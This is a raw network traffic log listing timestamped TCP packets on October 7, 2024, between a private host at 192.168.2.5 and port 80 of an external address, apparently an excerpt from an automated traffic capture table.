Oct 7, 2024 18:00:44.898912907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.898927927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.898943901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.898952961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.898964882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.898994923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911439896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911499977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911530972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911544085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911559105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911571026 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911576033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911592960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911597013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911608934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911623955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911639929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911714077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911756039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911770105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911797047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911808014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911820889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911823034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911839008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.911847115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911864042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.911879063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.913180113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.913196087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.913247108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.913796902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.913813114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.913853884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.913875103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.913952112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.913968086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.913983107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.913996935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914009094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914014101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914027929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914037943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914062023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914077997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914083004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914098978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914113045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914122105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914129019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914141893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914155960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914172888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914201021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914216042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914247036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914252996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914252996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914266109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914280891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914304018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914329052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914417028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914432049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914446115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914460897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914467096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914477110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914491892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914493084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914520979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914551973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914562941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914580107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914593935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914616108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914628983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914653063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914674997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914691925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.914693117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914715052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.914732933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915096045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915111065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915126085 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915139914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915143967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915155888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915172100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915179968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915189028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915190935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915205002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915215969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915220976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915236950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915241957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915256023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915260077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915276051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915282965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915292025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915298939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915307999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915316105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915324926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915334940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915348053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915349007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915361881 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915365934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915381908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915409088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915412903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915412903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915425062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915441990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915450096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915458918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915476084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915479898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915497065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915503025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915513039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915527105 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915529013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915546894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.915556908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915590048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.915910959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916037083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.916790962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916806936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916821957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916834116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.916848898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.916866064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.916882992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916898966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916913986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916923046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.916929960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.916940928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.916971922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.916971922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917011976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917026997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917041063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917057037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917063951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917092085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917118073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917267084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917283058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917298079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917311907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917325020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917327881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917344093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917350054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917361021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917368889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917377949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917392969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917395115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917403936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917422056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917439938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.917710066 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.917756081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.930974960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.931030989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.931062937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.931078911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.931104898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.931119919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.931299925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.931314945 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.931338072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.931351900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.931365967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.931415081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.970618963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.970635891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.970652103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.970689058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.970721960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.970928907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.970944881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.970962048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.970968962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.970977068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.970988989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.971012115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.971026897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983017921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983066082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983076096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983091116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983115911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983134031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983274937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983290911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983308077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983318090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983323097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983335018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983340025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.983349085 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983367920 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.983398914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996206045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996222973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996238947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996273041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996290922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996340036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996356964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996371031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996383905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996387959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996404886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996407986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996422052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996449947 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996463060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996475935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996490955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996507883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996515989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996522903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996539116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996546030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996555090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.996555090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996582985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.996612072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.998367071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998383045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998399019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998430014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.998460054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.998868942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998883963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998898983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998914003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998925924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.998929024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.998955011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.998969078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.998989105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999003887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999020100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999031067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999036074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999042988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999053001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999061108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999068975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999078035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999083996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999094963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999114990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999134064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999279976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999295950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999310970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999325037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999334097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999341011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999356985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999361038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999372005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999372005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999397993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999418974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999418974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999432087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999650955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999665976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999680996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999696016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999697924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999706984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999711037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999725103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999727964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999742031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999743938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999758959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999762058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999772072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999775887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999785900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999793053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999804020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999809027 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999815941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999825001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999836922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999840975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999847889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999856949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999867916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999874115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999885082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999890089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999901056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999906063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.999917030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999929905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.999948025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000181913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000196934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000211000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000225067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000226021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000236988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000241041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000255108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000257015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000268936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000273943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000283003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000289917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000298977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000307083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:45.000315905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000330925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000348091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:45.000488997 CEST	80	49831	95.164.90.97	192.168.2.5
